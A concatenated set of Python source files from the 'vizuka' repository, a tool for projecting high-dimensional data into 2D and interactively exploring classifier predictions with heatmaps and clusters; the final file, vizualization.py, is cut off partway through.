setup(
name='Vizuka',
version='0.36.1',
packages=find_packages(), #['vizuka/'],
package_data=data,
entry_points={
'console_scripts': [
'vizuka=vizuka.launch_viz:main',
'vizuka-reduce=vizuka.launch_reduce:main',
],
},
description=
'Represents your high-dimensional datas in a 2D space and play with it',
long_description=open(
os.path.join(os.path.dirname(__file__), 'README.md')).read(),
install_requires=open(
os.path.join(
os.path.dirname(__file__),
'vizuka/requirements/requirements.txt')).read(),
license='GPL V3',
author='Sofian Medbouhi',
author_email='sof.m.sk@free.fr',
)
|
0011001011/vizuka
| 11,475 |
vizuka/launch_viz.py
|
"""
This is the main script to launch everything
Is able to reduce the data and launch a vizualization
from it.
"""
import logging
import os
import argparse
import matplotlib
matplotlib.use('Qt5Agg') # noqa
import numpy as np
from pyfiglet import Figlet
from vizuka import data_loader
from vizuka import vizualization
from vizuka import launch_reduce
from vizuka import cluster_viewer
from vizuka import heatmap
logger = logging.getLogger()
logger.setLevel(logging.WARN)
def main():
"""
See --help if you want help
"""
from vizuka.config import (
BASE_PATH,
DATA_PATH,
VERSION,
REDUCED_DATA_PATH,
MODEL_PATH,
INPUT_FILE_BASE_NAME,
PROJECTION_DEFAULT_PARAMS,
DEFAULT_PROJECTOR,
path_builder,
)
print(Figlet().renderText('Vizuka'))
plotters_builtin, plotters_extra = cluster_viewer.list_plotter()
plotters_available = {**plotters_builtin, **plotters_extra}
heatmaps_builtin, heatmaps_extra = heatmap.list_heatmap()
heatmaps_available = {**heatmaps_builtin, **heatmaps_extra}
parser = argparse.ArgumentParser()
parser.add_argument(
'--mnist', action='store_true',
help='download, fit, and vizualize MNIST dataset.')
parser.add_argument(
'--show-required-files', action='store_true',
help='show all the required files for optimal use',
)
parser.add_argument(
'-p', '--path',
help='change the location of your data/ folder, and auto-creates data/set/ data/reduced/ data/graph/ data/models/')
parser.add_argument(
'-s', '--feature_to_show', action='append',
help='(available later in IHM) Usage: -s MY_COLUMN_NAME:PLOTTER with COLUMN_NAME with value in'
' data/set/raw_data.npz["columns"] (see --show-required-files)'
' and PLOTTER being a value in {}. Adds this non-preprocessed/human-readable feature to the cluster view'.format(list(plotters_available.keys())))
parser.add_argument(
'-h1', '--heatmap1',
help='Specify the 1st heatmap to show, heatmaps available:{}'.format(list(heatmaps_available.keys())))
parser.add_argument(
'-h2', '--heatmap2',
help='Specify the 2nd heatmap to show')
parser.add_argument(
'-v', '--version', type=str,
help='(optional) specify a version of the files to load/generate (see vizuka --show-required-files), currently: '+VERSION)
parser.add_argument(
'--force-no-predict', action="store_true",
help='(not recommended) do not load a predictions file : vizualize as if you predicted with 100percent accuracy')
parser.add_argument(
'--no-vizualize', action="store_true",
help='(for debug) do not prepare a nice data vizualization')
parser.add_argument(
'--no-plot', action="store_true",
help='(for debug) do not show a nice data vizualization (but prepare it nonetheless)')
parser.add_argument(
'--verbose', action="store_true",
help="verbose mode")
parser.set_defaults(
heatmap1 ='accuracy',
heatmap2 ='entropy',
no_plot =False,
no_vizualize =False,
show_required_files =False,
force_no_predict =False,
mnist =False,
version =VERSION,
path =os.path.join(os.path.dirname(__file__),BASE_PATH),
feature_to_show =[],
verbose = False,
)
args = parser.parse_args()
path = args.path
(
DATA_PATH,
REDUCED_DATA_PATH,
MODEL_PATH,
_,
_,
_,
) = path_builder(path)
no_vizualize = args.no_vizualize
no_plot = args.no_plot
version = args.version
features_name_to_display = args.feature_to_show
force_no_predict = args.force_no_predict
show_required_files=args.show_required_files
heatmap1 = args.heatmap1
heatmap2 = args.heatmap2
verbose = args.verbose
print(
'Generate 2D projections with cmd "vizuka-reduce"\n'
"VERSION: Loading dataset labeled {} (cf --version)".format(version)
)
if verbose:
logger.setLevel(logging.DEBUG)
if args.show_required_files:
print(
'\n\nVizuka needs the following files :\n\n'
'\nVERSION: string that identifies your dataset (default is MNIST_example)\n'
'PATH\t: data/ is located in '+str(os.path.dirname(__file__))+', change with --path\n'
'FORMAT\t: all are .npz file\n\n'
'REQUIRED:\n'
'=========\n'
'\t + data/set/preprocessed_inputs_VERSION.npz\n'
'\t ------------------------------------------\n'
'\t\t x:\t preprocessed inputs, your feature space\n'
'\t\t y:\t outputs to be predicted, the "true" class\n'
'\t\t NB:\t this is the only mandatory file, the following is highly recommended:\n'
'\n\n'
'OPTIONAL BUT USEFUL:\n'
'===================\n'
'\t + data/models/predict_VERSION.npz -> optional but recommended\n'
'\t -------------------------------------------------------------\n'
'\t\t y:\t predictions returned by your algorithm\n'
'\t\t NB:\t should be same formatting as in preprocessed_inputs_VERSION["y"])\n'
"\t\t\t if you don't have one, use --force-no-predict\n"
'\n\n'
'\t + data/set/raw_data.npz -> optional\n'
'\t --------------------------\n'
'\t\t x:\t\t array of inputs BEFORE preprocessing\n'
'\t\t columns:\t the name of the columns variable in x\n'
'\t\t NB:\t this file is used if you run vizuka with\n'
'\t\t\t --feature-name-to-display COLUMN_NAME:PLOTTER or\n'
'\t\t\t in IHM -> Cluster exploration / Add cluster info\n'
'\t\t\t (see help for details)\n'
'\n\n'
'GENERATED BY VIZUKA:\n'
'====================\n'
'\t + data/reduced/algoname#VERSION#PARAM1_NAME::VALUE#PARAM2_NAME::VALUE.npz\n'
'\t ------------------------------------------------------------------------\n'
'\t\t x2D:\t projections of the preprocessed inputs x in a 2D space\n'
'\t\t NB:\t you can change default projection parameters and works with several ones\n' '\t\t\t see vizuka-reduce'
'\n\nSee '+str(os.path.join(os.path.dirname(__file__), 'data'))+' for real example, if you doubt\n'
)
return
if args.mnist:
from vizuka.example import load_mnist
version = load_mnist.version
features_name_to_display = ['image:images']
new_fntd = {}
error_msg = 'Argument should be COLUMN_NAME:PLOTTER with plotter in {}'.format(list(plotters_available.keys()))
e = Exception(error_msg)
for feature_name in features_name_to_display:
if ':' not in feature_name:
raise e
k,v = feature_name.split(':')
# TODO if v not in cluster_diving.plotter.keys():
# raise e
plotters = new_fntd.get(k, [])
plotters.append(v)
new_fntd[k] = plotters
features_name_to_display = new_fntd
logger.info("Starting script")
logger.info("preprocessed_dataset=loading")
(
x,
y,
class_encoder,
class_decoder,
loaded,
preprocessed_filename,
) = data_loader.load_preprocessed(
file_base_name = INPUT_FILE_BASE_NAME,
path = DATA_PATH,
version = version,
)
if not loaded:
logging.warn("No data found\nCorresponding file not found: {}\nPlease check --show-required-files".format(preprocessed_filename))
if version=='MNIST_example':
print(
'\n\nIf you are trying to load the MNIST example, you need to launch'
' "vizuka --mnist" in order to download the test data (code in vizuka/example/)'
)
return
logger.info('preprocessed_dataset=loaded')
projections_available = data_loader.list_projections(REDUCED_DATA_PATH, version=version)
if len(projections_available)==0:
logger.warn("2D_dataset=No reduced data found! Please use vizuka-reduce to generate some")
return
choice_list, choice_dict = "", {}
for i,(method, version_, params), in enumerate(projections_available):
param_str = ''.join(["\t\t\t{}: {}\n".format(name, value) for name, value in params.items()])
choice_list+="\t [{}]: \t{}\n\t\tparameters:\n{}\n".format(i, method, param_str)
choice_dict[i]=method
choice = input( "Projections datasets available: (generate more with vizuka-reduce)"
")\n"+choice_list+"Which dataset number to load?\n\n\t[?] > ")
try:
choice_int=int(choice)
except ValueError:
logging.warn("Please enter a valid dataset number! (e.g: 0)\nABORTING")
return
try:
selected_method = choice_dict[choice_int]
_, _, selected_params = projections_available[choice_int]
except KeyError:
logging.warn("Don't be silly, enter a valid int number (between 0 and {})".format(len(choice_dict)-1))
logging.warn("ABORTING")
return
x_2D = data_loader.load_projection(
algorithm_name = selected_method,
parameters = selected_params,
version = version,
path = REDUCED_DATA_PATH,
)
###############
# PREDICT
if force_no_predict:
x_predicted = y
else:
try:
logger.info('predictions=loading')
x_predicted = data_loader.load_predict(
path=MODEL_PATH,
version=version,
)
logger.info('predictions=ready')
except FileNotFoundError:
logger.warn((
"Nothing found in {}, no predictions to vizualize\n"
"if this is intended you can force the vizualization"
"with --force_no_predict :\n{}\n"
).format(MODEL_PATH, os.listdir(MODEL_PATH)))
return
raw = data_loader.load_raw(version, DATA_PATH)
if raw:
logger.info("loading raw transactions for analysis..")
raw_data, raw_columns = raw
else:
logger.info('no raw data provided, all cluster vizualization disabled! (-s and -f options)')
raw_data = np.array([])
raw_columns = []
features_name_to_display = {}
if not no_vizualize:
f = vizualization.Vizualization(
projected_input=x_2D,
predicted_outputs=x_predicted,
raw_inputs=raw_data,
raw_inputs_columns=raw_columns,
correct_outputs=y,
resolution=200,
class_decoder=class_decoder,
class_encoder=class_encoder,
special_class='x',
nb_of_clusters=120,
features_name_to_display = features_name_to_display,
heatmaps_requested = [heatmap1, heatmap2],
output_path=os.path.join('output.csv'),
base_path=path,
version=version,
)
if not no_plot:
f.plot()
f.show()
return f
if __name__ == '__main__':
main()
|
0011001011/vizuka
| 3,904 |
vizuka/data_loader.py
|
import logging
import os
import itertools
import numpy as np
from vizuka import dimension_reduction
from vizuka.dimension_reduction.projector import Projector
from vizuka.config import (
MODEL_PATH,
VERSION,
DEFAULT_PREDICTOR,
PROJECTION_DEFAULT_PARAMS,
REDUCED_DATA_PATH,
INPUT_FILE_BASE_NAME,
DATA_PATH,
RAW_NAME,
)
def load_predict(path=MODEL_PATH, version=VERSION, namePredictor=DEFAULT_PREDICTOR):
"""
Simply load the predictions associated with the VERSION data
"""
logging.info("trying to load {}".format(path + namePredictor +'_'+ version + '.npz'))
return np.load(path + namePredictor + version + '.npz')['y']
def load_predict_byname(filename, path=MODEL_PATH):
"""
Simply load the predictions associated with the VERSION data
"""
full_path = os.path.join(path, filename)
logging.info("trying to load {}".format(full_path))
return np.load(os.path.join(path, filename))['y']
def list_projections(reduced_path, version):
"""
Returns a list containing [(algo_name, parameters),..] found in :param reduced_path:
"""
files = [filename for filename in os.listdir(reduced_path) if (".npz" in filename) and (version in filename)]
return [Projector.get_param_from_name(filename[:-4]) for filename in files]
def load_projection(algorithm_name, parameters, version, path):
logging.info("data_loader=loading projection:\n\talgorithm:{}\n\tparameters:{}".format(
algorithm_name,
parameters,
))
algo_builder = dimension_reduction.make_projector(algorithm_name)
algo = algo_builder(**parameters)
projection = algo.load_projection(version=version, path=path)
logging.info("data_loader=ready")
return projection
def load_raw(version, path):
raw_filename = os.path.join(path, RAW_NAME + version + '.npz')
if os.path.exists(raw_filename):
raw_ = np.load(raw_filename)
return raw_["x"], raw_["columns"]
else:
return None
def load_preprocessed(
file_base_name=INPUT_FILE_BASE_NAME,
path=DATA_PATH,
version=VERSION,
):
"""
Loads and returns the data for tSNE
One-hotted and regular ML-encoding
File to load should :
- be in path
- has name "(INPUT_FILE_BASE_NAME)_x_y_(VERSION).npz"
(VERSION) is for e.g "_20170614"
(FILE_BASE_NAME) if for e.g 'processed_predictions' or 'one_hot'
- contains entry x with input data
- contains entry y with output data (possible_outputs_list to predict)
- optionnaly an encoder to translate machine-readable possible_outputs_list to human-readable possible_outputs_list
(actually it is the opposite e.g: {604600:[False, True, False, .., False]})
:return: (input for t-SNE, classes, encoder (humantomachine class possible_outputs_list),
decoder (machinetohuman possible_outputs_list), loaded, path_of_filename)
Note that encoder/decoder are assumed trivial if no encoder are found in npz
"""
full_path = os.path.join(path, INPUT_FILE_BASE_NAME + version + '.npz')
if not os.path.exists(full_path):
loaded = False
return np.array([]), np.array([]), lambda x:x, lambda x:x, loaded, full_path
else:
xy = np.load(full_path)
loaded = True
x, y = xy['x'], xy['y']
class_encoder = {y: y for y in set(y)}
class_decoder = lambda x: x # noqa
x = xy['x']
if 'y' in xy.keys():
y = xy['y']
del xy
return (np.array(x), np.array(y), class_encoder, class_decoder, loaded, full_path)
elif 'y' + '_decoded' in xy.keys():
y_decoded = xy['y' + '_decoded']
del xy
return (np.array(x), np.array(y_decoded), class_encoder, class_decoder, loaded, full_path)
|
0011001011/vizuka
| 47,857 |
vizuka/vizualization.py
|
"""
Module built around the class Vizualization
It is the main module that draws a nice IHM interface to explore your data
See class Vizualization
"""
import sys
import os
import logging
from collections import Counter
import pickle
import csv
from scipy import stats
import numpy as np
import matplotlib
matplotlib.use('Qt5Agg') # noqa
from matplotlib.gridspec import GridSpec
from matplotlib import pyplot as plt
from vizuka.helpers import viz_helper
from vizuka.graphics import drawing
from vizuka import clustering
from vizuka import frontier
from vizuka import data_loader
from vizuka import heatmap
from vizuka.graphics.qt_handler import Cluster_viewer
from vizuka.graphics.qt_handler import Viz_handler
from vizuka.config import (
path_builder,
BASE_PATH,
)
class Vizualization:
"""
This class contains all the tools for the vizualiation
It is created with only the vector of predictions (containing possible_outputs_list) with its decoder function
Resolution is the size of the grid of the viz, used for heatmap and clustering
Mouse control and keyboard shortcuts are used (later: QtButtons) ..seealso:: self.controls
"""
def __init__(
self,
raw_inputs,
raw_inputs_columns,
projected_input,
predicted_outputs,
correct_outputs,
resolution=100,
special_class='0',
nb_of_clusters=120,
features_name_to_filter=[],
features_name_to_display={},
heatmaps_requested = ['entropy', 'accuracy'],
color_mode = 'by_prediction',
class_decoder=(lambda x: x), class_encoder=(lambda x: x),
output_path='output.csv',
base_path=BASE_PATH,
version='',
):
"""
Central function, draw heatmap + scatter plot + zoom + annotations on tSNE data
:param predicted_outputs: vector of predicted possible_outputs_list
:param correct_outputs: vector of true possible_outputs_list
:param projected_input: vector of t-SNE projected data (i.e project_input[index] = (x, y)
:param class_dn_jobs=4, ecoder: function to decode possible_outputs_list machinetohuman
:param class_encoder: dict to encode possible_outputs_list humantomachine
"""
logging.info("Vizualization=generating")
self.last_time = {}
self.manual_cluster_color = 'cyan'
(
self.data_path,
self.reduced_data_path,
self.model_path,
self.graph_path,
self.cache_path,
self.saved_clusters_path,
) = path_builder(base_path)
self.predictors = [name for name in os.listdir(self.model_path) if version in name]
self.output_path = output_path
self.saved_clusters = [f for f in os.listdir(self.saved_clusters_path) if version in f]
self.version = version
def str_with_default_value(value):
if not value:
return str(special_class)
return str(value)
self.correct_outputs = [str_with_default_value(correct_output) for correct_output in correct_outputs]
self.correct_outputs_original = self.correct_outputs
self.prediction_outputs = [str_with_default_value(predicted_output) for predicted_output in predicted_outputs]
self.prediction_outputs_original = self.prediction_outputs
self.projected_input = projected_input
self.projected_input_original = self.projected_input
self.x_raw = raw_inputs
self.x_raw_original = self.x_raw
self.x_raw_columns = raw_inputs_columns
self.nb_of_clusters = nb_of_clusters
self.class_decoder = class_decoder
self.special_class = str(special_class)
self.heatmaps_requested = heatmaps_requested
self.features_name_to_filter = features_name_to_filter
self.correct_class_to_display = {}
self.predicted_class_to_display = {}
self.feature_to_display_by_col = {}
self.features_to_display = features_name_to_display
self.color_mode = color_mode
self.cluster_view_selected_indexes = []
self.left_clicks = set()
self.selected_clusters = set()
#self.possible_outputs_list = list({self.class_decoder(y_encoded) for y_encoded in self.correct_outputs})
self.possible_outputs_set = set(self.correct_outputs).union(set(self.prediction_outputs))
self.possible_outputs_set.discard(None)
self.filters = {
'PREDICTIONS':self.possible_outputs_set,
'GROUND_TRUTH':self.possible_outputs_set,
**{k:set() for k in features_name_to_filter},
}
self.possible_outputs_list = list(self.possible_outputs_set)
self.possible_outputs_list.sort()
# logging.info("correct outputs : %", self.correct_outputs)
self.projection_points_list_by_correct_output = {y: [] for y in self.correct_outputs}
self.index_by_true_output = {class_:[] for class_ in self.possible_outputs_list}
self.nb_of_individual_by_true_output = {}
for index, projected_input in enumerate(self.projected_input):
self.projection_points_list_by_correct_output[self.correct_outputs[index]].append(projected_input)
self.index_by_true_output[self.correct_outputs[index]].append(index)
# convert dict values to np.array
for possible_output in self.projection_points_list_by_correct_output:
self.projection_points_list_by_correct_output[possible_output] = np.array(
self.projection_points_list_by_correct_output[possible_output])
self.nb_of_individual_by_true_output[possible_output] = len(
self.projection_points_list_by_correct_output[possible_output])
self.projection_points_list_by_correct_output_original = self.projection_points_list_by_correct_output
self.resolution = resolution # counts of tiles per row/column
self.shift_held = False
self.ctrl_held = False
self.local_effectif = {}
self.local_accuracy = {}
self.local_confusion_by_class = {
class_:
{
class__:0 for class__ in self.possible_outputs_list} for class_ in self.possible_outputs_list
}
self.local_bad_count_by_class = {class_:0 for class_ in self.possible_outputs_list}
self.local_classes = set()
self.local_sum = 0
self.cursor_ids = [0]
# Get the real possible_outputs_list found in true y
self.amplitude = viz_helper.find_amplitude(self.projected_input_original)
mesh = np.meshgrid(
np.arange(
-self.amplitude,
self.amplitude,
self.amplitude/(self.resolution/2)
),
np.arange(
-self.amplitude,
self.amplitude,
self.amplitude/(self.resolution/2)
),
)
self.size_centroid = 2 * self.amplitude / self.resolution
self.mesh_centroids = np.c_[mesh[0].ravel(), mesh[1].ravel()]
self.calculate_prediction_projection_arrays()
logging.info('clustering engine=fitting')
self.clusterizer = clustering.make_clusterizer(
xs=self.projected_input_original,
nb_of_clusters=self.nb_of_clusters,
mesh=self.mesh_centroids,
method='grid',
)
logging.info('clustering engine=ready')
self.normalize_frontier = True
def calculate_prediction_projection_arrays(self):
"""
Update all the sets which use true/false flags from predictions
When to use ? -> if you change (or first load) your predictor
"""
(
self.index_bad_predicted,
self.index_good_predicted,
self.index_not_predicted,
) = viz_helper.separate_prediction(
self.prediction_outputs,
self.correct_outputs,
self.special_class,
)
(
self.well_predicted_projected_points_array,
self.mispredicted_projected_points_array,
self.not_predicted_projected_points_array,
) = viz_helper.get_projections_from_index(
self.index_good_predicted,
self.index_bad_predicted,
self.index_not_predicted,
self.projected_input,
)
self.accuracy_by_class = viz_helper.get_accuracy_by_class(
self.index_by_true_output,
self.correct_outputs,
self.prediction_outputs,
self.possible_outputs_list)
def reload_predict(self, filename):
"""
Call this function if the predictor set has changed
filename: the name of the predictions file to load, should
be located in the self.model_path folder
"""
old_left_clicks = self.left_clicks
self.prediction_outputs = data_loader.load_predict_byname(filename, path=self.model_path)
self.prediction_outputs_original = self.prediction_outputs
self.correct_outputs = self.correct_outputs_original
self.projected_input = self.projected_input_original
self.calculate_prediction_projection_arrays()
self.print_global_summary(self.global_summary_axe)
self.init_clusters()
self.update_all_heatmaps()
self.reset_summary()
self.reset_viz()
self.conciliate_filters(self.filters)
for click in old_left_clicks:
self.do_left_click(click)
self.refresh_graph()
def filter_by_feature(self, feature_col, selected_features):
"""
Updates the list of index to display, filter with :
feature_col: the column of the feature in "originals"
selected_feature_list: list of checked/unchecked feature to display
"""
featured_data_to_display = {
widget.class_ for widget in selected_features[feature_col] if widget.isChecked()
}
self.filters[feature_col] = featured_data_to_display
self.conciliate_filters(self.filters)
def filter_by_feature_old(self, feature_col, selected_feature_list):
"""
Updates the list of index to display, filter with :
feature_col: the column of the feature in "originals"
selected_feature_list: list of checked/unchecked feature to display
"""
featured_data_to_display = [
item for item, selected in selected_feature_list.items() if selected
]
self.feature_to_display_by_col[feature_col] = featured_data_to_display
self.filters[feature_col] = featured_data_to_display
# self.display_by_filter()
self.conciliate_filters(self.filters)
def filter_by_correct_class(self, selected_outputs_class_list):
"""
Filter by class, on the TRUE class of each point
"""
self.correct_class_to_display = {
widget.class_ for widget in selected_outputs_class_list if widget.isChecked()
}
self.filters["GROUND_TRUTH"] = self.correct_class_to_display
# self.display_by_filter()
self.conciliate_filters(self.filters)
def filter_by_predicted_class(self, selected_outputs_class_list):
"""
Filter by class, on the PREDICTED class of each point
"""
self.predicted_class_to_display = {
widget.class_ for widget in selected_outputs_class_list if widget.isChecked()
}
self.filters["PREDICTIONS"] = self.predicted_class_to_display
# self.display_by_filter()
self.conciliate_filters(self.filters)
def load_only_some_indexes(self, indexes):
self.prediction_outputs = [self.prediction_outputs_original[i] for i in indexes]
self.projected_input = [self.projected_input_original[i] for i in indexes]
self.correct_outputs = [self.correct_outputs_original[i] for i in indexes]
self.x_raw = [self.x_raw_original[i] for i in indexes]
self.projection_points_list_by_correct_output = {y: [] for y in self.correct_outputs}
self.index_by_true_output = {class_:[] for class_ in self.possible_outputs_list}
for index, projected_input in enumerate(self.projected_input):
self.projection_points_list_by_correct_output[self.correct_outputs[index]].append(projected_input)
self.index_by_true_output[self.correct_outputs[index]].append(index)
# convert dict values to np.array
for possible_output in self.projection_points_list_by_correct_output:
self.projection_points_list_by_correct_output[possible_output] = np.array(
self.projection_points_list_by_correct_output[possible_output])
self.nb_of_individual_by_true_output[possible_output] = len(
self.projection_points_list_by_correct_output[possible_output])
self.calculate_prediction_projection_arrays()
self.init_clusters()
self.print_global_summary(self.global_summary_axe)
self.update_all_heatmaps()
self.update_summary()
self.print_summary(self.summary_axe)
self.update_cluster_view()
def filters_active(self):
"""
True if some filters are active
"""
additional_filters_active = False
other_filters = {k:v for k,v in self.filters.items() if k!="PREDICTIONS" and k!="GROUND_TRUTH"}
for col in other_filters: # other filters are column number identifying features
additional_filters_active = additional_filters_active or other_filters[col]
return self.filters["GROUND_TRUTH"] or self.filters["PREDICTIONS"] or additional_filters_active
def conciliate_filters(self, filters):
saved_zoom = (self.ax.get_xbound(), self.ax.get_ybound())
to_display = set(range(len(self.projected_input_original)))
filtered = filters["GROUND_TRUTH"]
to_display = to_display.intersection(set([
idx for idx, class_ in enumerate(self.correct_outputs_original) if class_ in filtered]))
filtered = filters["PREDICTIONS"]
to_display = to_display.intersection(set([
idx for idx, class_ in enumerate(self.prediction_outputs_original) if class_ in filtered]))
other_filters = {k:v for k,v in filters.items() if k!="PREDICTIONS" and k!="GROUND_TRUTH"}
for col in other_filters: # other filters are column number identified features
filtered_by_feature = {idx for idx, x in enumerate(self.x_raw_original) if x[col] in other_filters[col]}
to_display = to_display.intersection(filtered_by_feature)
viz_helper.remove_pathCollection(self.ax)
self.load_only_some_indexes(to_display)
drawing.draw_scatterplot(
self,
self.ax,
color_mode = self.color_mode,
)
self.ax.set_xbound(saved_zoom[0])
self.ax.set_ybound(saved_zoom[1])
self.refresh_graph()
#######################################
# Similarity functions to draw clusters
def onclick(self, event):
"""
Mouse event handler
Actions on mouse button pressed
1 : select a tile (and a class)
2 : find similar tiles
3 : reset vizualization (graph+summary)
"""
x = event.xdata
y = event.ydata
button = event.button
left_click, right_click = ((button == 1), (button == 3))
self.summary_axe.clear()
self.summary_axe.axis('off')
if left_click:
self.do_left_click((x,y))
elif right_click:
self.do_right_click((x,y))
self.refresh_graph()
def do_left_click(self, xy):
x, y = xy
if (x is None) or (y is None): # clicks out of the screen
return
# Register this click for replay
self.left_clicks.add((x,y))
# find associated cluster and gather data
clicked_cluster = self.clusterizer.predict([(x,y)])[0]
self.selected_clusters.add(clicked_cluster)
self.delimit_cluster(clicked_cluster, color=self.manual_cluster_color)
self.update_summary()
self.print_summary(self.summary_axe)
# shows additional info if requested (argument -s)
self.update_cluster_view()
# self.cluster_view.update_cluster_view(
# clicked_cluster,
# self.index_by_cluster_label,
# indexs_good = self.index_good_predicted,
# indexes_bad = self.index_bad_predicted,
# )
def do_right_click(self, xy):
logging.info("Cleaning state, unselecting clusters, redrawing")
# reboot vizualization
self.left_clicks = set()
self.selected_clusters = set()
self.reset_summary()
self.clear_cluster_view()
self.reset_viz()
def reset_viz(self):
"""
Reset (graphically) the vizualization
..note:: does not touch the summary array, for this use self.reset_summary()
"""
logging.info("scatterplot: removing specific objects")
self.left_clicks = set()
self.selected_clusters = set()
for ax in self.axes_needing_borders:
for i in ax.get_children():
if isinstance(i, matplotlib.collections.PathCollection):
i.remove()
elif isinstance(i, matplotlib.lines.Line2D):
if i.get_color() == self.manual_cluster_color:
i.remove()
logging.info("scatterplot: drawing observations")
if self.cluster_view:
self.clear_cluster_view()
drawing.draw_scatterplot(
self,
self.ax,
color_mode = self.color_mode,
)
logging.info("scatterplot: ready")
def reset_summary(self):
"""
Reset the local summary
"""
self.local_effectif = {}
self.local_accuracy = {}
self.local_confusion_by_class = {
output_class: {
other_output_class:0 for other_output_class in self.possible_outputs_list
}
for output_class in self.possible_outputs_list
}
self.local_bad_count_by_class = {
output_class:0 for output_class in self.possible_outputs_list
}
self.local_classes = set()
self.local_sum = 0
self.selected_clusters = set()
self.summary_axe.clear()
self.summary_axe.axis('off')
def init_clusters(self):
"""
Clusterize the data and retrieve some countings
"""
(
self.index_by_cluster_label,
self.all_cluster_labels,
self.nb_of_points_by_class_by_cluster,
self.cluster_by_idx,
) = viz_helper.cluster_label_mesh(
self.clusterizer,
self.projected_input,
self.projection_points_list_by_correct_output_original,
self.correct_outputs,
)
(
self.nb_good_point_by_cluster,
self.nb_bad_point_by_cluster,
self.nb_good_point_by_class_by_cluster,
self.nb_bad_point_by_class_by_cluster,
self.nb_null_point_by_cluster,
) = viz_helper.get_count_by_cluster(
self.all_cluster_labels,
self.index_by_cluster_label,
self.correct_outputs,
self.index_good_predicted,
self.index_bad_predicted,
self.index_not_predicted,
)
def calculate_centroid_coordinates(self, x, y):
return x + self.resolution * y
def draw_the_line(self, x_list, y_list, color='b'):
for axe in self.axes_needing_borders:
axe.add_artist(matplotlib.lines.Line2D(xdata=x_list, ydata=y_list, color=color))
def line(self, float_point):
return (float_point - self.size_centroid / 2, float_point + self.size_centroid / 2)
def lower_bound(self, float_point, plus_one=None):
if plus_one:
return (float_point + self.size_centroid / 2,)
return (float_point - self.size_centroid / 2,)
def delimit_cluster(self, cluster, color='b', **kwargs):
"""
Delimits one cluster by drawing lines around it
"""
centroids_cluster_by_index = self.clusterizer.predict(self.mesh_centroids)
cluster_y_list_by_x = [[] for x in range(self.resolution)]
cluster_x_list_by_y = [[] for y in range(self.resolution)]
iter_all_coordinates = ((x, y) for x in range(0, self.resolution) for y in range(0, self.resolution))
for idx, (x, y) in enumerate(iter_all_coordinates):
if centroids_cluster_by_index[idx] == cluster:
cluster_y_list_by_x[x].append(y)
cluster_x_list_by_y[y].append(x)
calculate_coordinates = self.calculate_centroid_coordinates
def draw_all_lines(self, list_points, swapped_coordinates=False):
for a in range(0, self.resolution):
a_line_b_list = list_points[a]
if not a_line_b_list:
continue
min_b = min(a_line_b_list)
max_b = max(a_line_b_list)
no_hole = (max_b - min_b + 1) == len(a_line_b_list)
if no_hole:
if swapped_coordinates: # swaped if a is y and b is x, not swapt if a is and b is y
b_float_position, a_float_position= self.mesh_centroids[calculate_coordinates(min_b, a)]
self.draw_the_line(
self.lower_bound(b_float_position),
self.line(a_float_position),
color=color)
b_float_position, a_float_position = self.mesh_centroids[calculate_coordinates(max_b, a)]
self.draw_the_line(
self.lower_bound(b_float_position, plus_one=True),
self.line(a_float_position),
color=color)
else:
a_float_position, b_float_position= self.mesh_centroids[calculate_coordinates(a, min_b)]
self.draw_the_line(
self.line(a_float_position),
self.lower_bound(b_float_position),
color=color)
a_float_position, b_float_position = self.mesh_centroids[calculate_coordinates(a, max_b)]
self.draw_the_line(
self.line(a_float_position),
self.lower_bound(b_float_position, plus_one=True),
color=color)
else: # case not convex, which is not often so it's gonna be dirty
for b in a_line_b_list:
if swapped_coordinates:
if (b - 1) not in a_line_b_list:
b_float_position, a_float_position = self.mesh_centroids[calculate_coordinates(b, a)]
self.draw_the_line(
self.lower_bound(b_float_position),
self.line(a_float_position),
color=color)
if (b + 1) not in a_line_b_list:
b_float_position, a_float_position = self.mesh_centroids[calculate_coordinates(b, a)]
self.draw_the_line(
self.lower_bound(b_float_position, plus_one=True),
self.line(a_float_position),
color=color)
else:
if (b - 1) not in a_line_b_list:
a_float_position, b_float_position = self.mesh_centroids[calculate_coordinates(a, b)]
self.draw_the_line(
self.line(a_float_position),
self.lower_bound(b_float_position),
color=color)
if (b + 1) not in a_line_b_list:
a_float_position, b_float_position = self.mesh_centroids[calculate_coordinates(a, b)]
self.draw_the_line(
self.line(a_float_position),
self.lower_bound(b_float_position, plus_one=True),
color=color)
draw_all_lines(self, cluster_y_list_by_x, swapped_coordinates=True)
draw_all_lines(self, cluster_x_list_by_y, swapped_coordinates=False)
def get_coordinates_from_index(self, index):
return (self.resolution - index // self.resolution -1, index % self.resolution)
# check it's the same
# return (self.resolution - int(((index - index % self.resolution) / self.resolution)) - 1,
# index % self.resolution)
def request_color_mode(self, mode):
self.color_mode = mode
try:
drawing.draw_scatterplot(
self,
self.ax,
color_mode=self.color_mode
)
self.refresh_graph()
except:
pass
def request_new_frontiers(self, method):
"""
Init new frontiers based on a similarity mesure between clusters
"""
method = method.lower()
logging.info('frontiers : requiring new delimitations '+method)
for axe in self.axes_needing_borders:
for child in axe.get_children():
if isinstance(child, matplotlib.collections.LineCollection):
child.remove()
logging.info("removing a line collection")
similarity = frontier.make_frontier(method)
self.similarity_measure = similarity.compare
if method == 'bhattacharyya':
self.normalize_frontier=True
elif method =='all':
self.normalize_frontier=False
elif method == 'none':
self.normalize_frontier=False
self.refresh_graph()
return
drawing.apply_borders(
self,
self.normalize_frontier,
self.similarity_measure,
self.axes_needing_borders
)
self.refresh_graph()
logging.info('frontiers : applied '+method)
def request_clusterizer(self, method, params):
"""
Creates the clustering engine depending on the method you require
Actually different engine use different initialisations
:param params: the parameters as a dict, of the clustering
:param method: the name of the clustering engine
"""
logging.info("cluster: requesting a new " + method + " engine")
self.clusterizer = clustering.make_clusterizer(
method = method,
mesh = self.mesh_centroids,
**params,
)
if (not self.filters_active()) and self.clusterizer.loadable(self.version, self.cache_path):
logging.info("cluster: found cached clustering, loading..")
self.clusterizer = self.clusterizer.load_cluster(self.version, self.cache_path)
logging.info("cluster: ready")
else:
logging.info("cluster: fitting the clusters")
self.clusterizer.fit(self.projected_input_original)
if not self.filters_active():
logging.info("cluster: saving the clusters")
self.clusterizer.save_cluster(self.version, self.cache_path)
logging.info("cluster: ready")
def request_new_clustering(self, method, params):
"""
Init and fit a new clustering engin, then update the heatmaps
:param method: clustering engine to use ..seealso:clustering module
:param params: a dict with the parameters
"""
saved_zoom = (self.ax.get_xbound(), self.ax.get_ybound())
method = method.lower()
self.request_clusterizer(method, params)
self.init_clusters()
self.update_all_heatmaps()
drawing.apply_borders(
self,
self.normalize_frontier,
self.similarity_measure,
self.axes_needing_borders)
logging.info('borders: done')
self.reset_summary()
